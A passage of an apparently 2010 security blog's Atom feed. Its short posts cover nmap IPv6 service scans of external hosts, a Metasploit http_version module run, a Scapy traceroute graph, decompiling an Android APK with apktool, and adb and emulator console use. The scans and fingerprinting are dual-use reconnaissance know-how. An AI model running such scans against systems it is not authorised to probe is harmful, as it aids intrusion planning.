term='IPv6'/><title type='text'>Scanning IPv6 Enabled  Hosts</title><content type='html'>Nmap will scan IPv6 enabled hosts if you pass it the -6 switch, but only does TCP Connect scans and no OS identification, which makes sense because OS identification uses nuances of ipv4 responses...&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;carnal0wnage ~: nmap -6 -sV 2002:53e9:a52a::832:3316:5042 -p53,80,222&lt;br /&gt;&lt;br /&gt;Starting Nmap 5.21 ( http://nmap.org ) at 2010-03-19 20:42 UTC&lt;br /&gt;Nmap scan report for 2002:53e9:a52a::832:3316:5042&lt;br /&gt;Host is up (0.17s latency).&lt;br /&gt;PORT    STATE SERVICE VERSION&lt;br /&gt;53/tcp  open  domain  ISC BIND 9.X&lt;br /&gt;80/tcp  open  http    nginx&lt;br /&gt;222/tcp open  ssh     OpenSSH 5.1p1 Debian 5 (protocol 2.0)&lt;br /&gt;Service Info: OS: Linux&lt;br /&gt;&lt;br /&gt;Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .&lt;br /&gt;Nmap done: 1 IP address (1 host up) scanned in 6.92 seconds&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;br /&gt;carnal0wnage ~: nmap -6 -sV ::ffff:66.148.86.4  &lt;br /&gt;&lt;br /&gt;Starting Nmap 5.21 ( http://nmap.org ) at 2010-03-19 21:00 UTC&lt;br /&gt;Nmap scan report for ::ffff:66.148.86.4&lt;br /&gt;Host is up (0.024s latency).&lt;br /&gt;Not shown: 795 closed ports, 203 filtered ports&lt;br /&gt;PORT     STATE SERVICE    VERSION&lt;br /&gt;80/tcp   open  http       Apache httpd 1.3.41 ((Unix) PHP/5.2.9)&lt;br /&gt;8080/tcp open  http-proxy Squid webproxy 2.6.STABLE16&lt;br /&gt;&lt;br /&gt;Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .&lt;br /&gt;Nmap done: 1 IP address (1 host up) scanned in 11.41 seconds&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;and metasploit supports ipv6&lt;br /&gt;&lt;span style="font-family: courier new;font-size:85%;" &gt;&lt;br /&gt;msf auxiliary(http_version) &gt; run&lt;br /&gt;&lt;br /&gt;[*] 2002:53e9:a52a:0000:0000:0832:3316:5042 is running nginx&lt;br /&gt;[*] Scanned 1 of 1 hosts (100% complete)&lt;br /&gt;[*] Auxiliary module execution completed&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-7491368004640026622?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/7491368004640026622/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=7491368004640026622' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/7491368004640026622'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/7491368004640026622'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2010/08/scanning-ipv6-enabled-hosts.html' title='Scanning IPv6 Enabled  Hosts'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-2158900716895067156</id><published>2010-07-28T09:03:00.001-04:00</published><updated>2010-07-28T09:03:00.626-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Traceroute Visulization'/><category scheme='http://www.blogger.com/atom/ns#' term='Traceroute'/><category scheme='http://www.blogger.com/atom/ns#' term='Scapy'/><title type='text'>Scapy, Traceroute and Pretty Pictures</title><content type='html'>much much more available in the documentation&lt;br /&gt;&lt;a href="http://www.secdev.org/projects/scapy/doc/usage.html"&gt;http://www.secdev.org/projects/scapy/doc/usage.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;but here is how to make a cool traceroute graph from you to another host. &lt;br /&gt;&lt;br /&gt;from: &lt;a href="http://www.secdev.org/projects/scapy/doc/usage.html#tcp-traceroute-2"&gt;http://www.secdev.org/projects/scapy/doc/usage.html#tcp-traceroute-2&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;Welcome to Scapy (v1.1.1 / -)&lt;br /&gt;&gt;&gt;&gt; res, unans = traceroute("www.google.com",dport=80,maxttl=20)&lt;br /&gt;Begin emission:&lt;br /&gt;*****************Finished to send 20 packets.&lt;br /&gt;*&lt;br /&gt;Received 18 packets, got 18 answers, remaining 2 packets&lt;br /&gt;   209.85.225.103:tcp80&lt;br /&gt;1  209.20.72.2     11  &lt;br /&gt;2  209.20.79.6     11  &lt;br /&gt;3  4.53.160.189    11  &lt;br /&gt;4  4.69.132.186    11  &lt;br /&gt;5  4.69.132.190    11  &lt;br /&gt;6  4.68.101.34     11  &lt;br /&gt;7  4.79.208.18     11  &lt;br /&gt;8  209.85.254.130  11  &lt;br /&gt;9  72.14.232.141   11  &lt;br /&gt;10 209.85.241.35   11  &lt;br /&gt;11 66.249.95.138   11  &lt;br /&gt;14 209.85.225.103  SA  &lt;br /&gt;15 209.85.225.103  SA  &lt;br /&gt;16 209.85.225.103  SA  &lt;br /&gt;17 209.85.225.103  SA  &lt;br /&gt;18 209.85.225.103  SA  &lt;br /&gt;19 209.85.225.103  SA  &lt;br /&gt;20 209.85.225.103  SA  &lt;br /&gt;&gt;&gt;&gt; res.graph(target="&gt; /tmp/graph.svg")&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&gt;&gt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;opening up /tmp/graph.svg will give you:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_bgJlT6eWjGg/TEikkzoI1PI/AAAAAAAAAhM/PNr5dZFq6Wg/s1600/graph.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 160px; height: 400px;" src="http://2.bp.blogspot.com/_bgJlT6eWjGg/TEikkzoI1PI/AAAAAAAAAhM/PNr5dZFq6Wg/s400/graph.png" alt="" id="BLOGGER_PHOTO_ID_5496824297446495474" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-2158900716895067156?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/2158900716895067156/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=2158900716895067156' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/2158900716895067156'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/2158900716895067156'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2010/07/scapy-traceroute-and-pretty-pictures.html' title='Scapy, Traceroute and Pretty Pictures'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_bgJlT6eWjGg/TEikkzoI1PI/AAAAAAAAAhM/PNr5dZFq6Wg/s72-c/graph.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-5187965065656920551</id><published>2010-07-26T10:07:00.001-04:00</published><updated>2010-07-26T10:09:24.455-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='android'/><title type='text'>Reversing Android Apps</title><content type='html'>thanks to &lt;a href="http://twitter.com/cktricky"&gt;cktricky&lt;/a&gt; for pointing me to:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/android-apktool/"&gt;android-apktool&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Once you've gotten it installed/unzipped its fairly easy to use. Download your .apk from the emulator.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;user@dev:~/android-tutorial/android-sdk-linux_86/tools$ ./adb pull /data/app/com.joelapenna.foursquared.apk com.joelapenna.foursquared.apk&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;2441 KB/s (625416 bytes in 0.250s)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;From there simply decode the .apk&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;user@dev:~/android-tutorial/reverse$ ./apktool d com.joelapenna.foursquared.apk foursquare&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;&lt;br /&gt;I: Baksmaling...&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;&lt;br /&gt;I: Loading resource table...&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;&lt;br /&gt;I: Decoding resources...&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;&lt;br /&gt;I: Loading resource table from file: /home/user/apktool/framework/1.apk&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;I: Copying assets and libs...&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;From there you should have a folder looking something like this&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_bgJlT6eWjGg/TEcc1RA_F1I/AAAAAAAAAhE/tH4stw0ZagY/s1600/foursquare-apktool-crop.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 184px;" src="http://2.bp.blogspot.com/_bgJlT6eWjGg/TEcc1RA_F1I/AAAAAAAAAhE/tH4stw0ZagY/s400/foursquare-apktool-crop.png" alt="" id="BLOGGER_PHOTO_ID_5496393571655161682" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;inside your &lt;a href="http://code.google.com/p/smali/"&gt;smali&lt;/a&gt; folder will be all the decompiled java.  have fun.&lt;br /&gt;&lt;br /&gt;actually after i did the above, I found &lt;a href="http://www.accessroot.com/arteam/site/download.php?view.322"&gt;this&lt;/a&gt; which is a video covering the above and previous posts.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-5187965065656920551?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/5187965065656920551/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=5187965065656920551' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/5187965065656920551'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/5187965065656920551'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2010/07/reversing-android-apps.html' title='Reversing Android Apps'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_bgJlT6eWjGg/TEcc1RA_F1I/AAAAAAAAAhE/tH4stw0ZagY/s72-c/foursquare-apktool-crop.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-578884803840414673</id><published>2010-07-23T10:40:00.003-04:00</published><updated>2010-07-26T10:37:05.793-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='android'/><title type='text'>Using the Android Debug Bridge (adb)</title><content type='html'>The android debug bridge (adb) has lots of useful features.  its documented here:&lt;br /&gt;&lt;a href="http://developer.android.com/guide/developing/tools/adb.html"&gt;http://developer.android.com/guide/developing/tools/adb.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;user@dev:~/android-tutorial/android-sdk-linux_86/tools$ ./adb&lt;br /&gt;Android Debug Bridge version 1.0.25&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;some of the features you may want to immediately mess with are:&lt;br /&gt;&lt;br /&gt;listing devices&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;user@dev:~/android-tutorial/android-sdk-linux_86/tools$ ./adb devices&lt;br /&gt;* daemon not running. starting it now *&lt;br /&gt;* daemon started successfully *&lt;br /&gt;List of devices attached&lt;br /&gt;emulator-5554    device&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;getting an interactive shell on the emulator&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;user@dev:~/android-tutorial/android-sdk-linux_86/tools$ ./adb shell&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;# ls&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;sqlite_stmt_journals&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;cache&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;sdcard&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;etc&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;system&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;sys&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;sbin&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;proc&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;init.rc&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;init.goldfish.rc&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;init&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;default.prop&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;data&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;root&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;dev&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;cat'ing useful stuff inside that shell&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;# cat /proc/cpuinfo&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Processor    : ARM926EJ-S rev 5 (v5l)&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;BogoMIPS    : 233.47&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Features    : swp half thumb fastmult vfp edsp java &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;CPU implementer    : 0x41&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;CPU architecture: 5TEJ&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;CPU variant    : 0x0&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;CPU part    : 0x926&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;CPU revision    : 5&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Cache type    : write-through&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Cache clean    : not required&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Cache lockdown    : not supported&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Cache format    : Harvard&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;I size        : 4096&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;I assoc        : 4&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;I line length    : 32&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;I sets        : 32&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;D size        : 65536&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;D assoc        : 4&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;D line length    : 32&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;D sets        : 512&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Hardware    : Goldfish&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Revision    : 0000&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Serial        : 0000000000000000&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;and probably pulling things off the file system so you can reverse them.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;user@dev:~/android-tutorial/android-sdk-linux_86/tools$ ./adb pull /data/app/com.joelapenna.foursquared.apk com.joelapenna.foursquared.apk&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;2441 KB/s (625416 bytes in 0.250s)&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-578884803840414673?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/578884803840414673/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=578884803840414673' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/578884803840414673'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/578884803840414673'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2010/07/using-android-debug-bridge-adb.html' title='Using the Android Debug Bridge (adb)'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-8065272314757582702</id><published>2010-07-21T09:42:00.004-04:00</published><updated>2010-07-21T09:52:04.763-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='android'/><title type='text'>Accessing your android emulator on the command line</title><content type='html'>A poster on one of the other android posts mentioned you can just telnet into the android app if you've got the emulator running.&lt;br /&gt;&lt;br /&gt;Its easy to do and the preferred way if you just want to script events. Just telnet into localhost 5554 and you can issue emulator commands.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;user@dev:~$ telnet localhost 5554&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Trying ::1...&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Trying 127.0.0.1...&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Connected to localhost.&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Escape character is '^]'.&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Android Console: type 'help' for a list of commands&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;OK&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;help&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;br /&gt;Android console command help:&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;  help|h|?         print a list of commands&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;  event             simulate hardware events&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;  geo                 Geo-location commands&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;  gsm                  GSM related commands&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;  kill               kill the emulator instance&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;  network          manage network settings&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;  power             power related commands&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;  quit|exit        quit control session&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;  redir              manage port redirections&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;  sms                  SMS related commands&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;  avd                 manager virtual device state&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;  window  manage emulator window&lt;br /&gt;&lt;br /&gt;help event&lt;br /&gt;allows you to send fake hardware events to the kernel&lt;br /&gt;&lt;br /&gt;available sub-commands:&lt;br /&gt; event send             send a series of events to the kernel&lt;br /&gt; event types            list all type  aliases&lt;br /&gt; event codes            list all code aliases for a given type&lt;br /&gt; event text             simulate keystrokes from a given text&lt;br /&gt;&lt;br /&gt;OK&lt;br /&gt;&lt;br /&gt;help geo&lt;br /&gt;allows you to change Geo-related settings, or to send GPS NMEA sentences&lt;br /&gt;&lt;br /&gt;available sub-commands:&lt;br /&gt;  geo nmea             send an GPS NMEA sentence&lt;br /&gt;  geo fix              send a simple GPS fix&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;you get the idea...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-8065272314757582702?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/8065272314757582702/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=8065272314757582702' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/8065272314757582702'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/8065272314757582702'/><link rel='alternate' type='text/html' href='htt
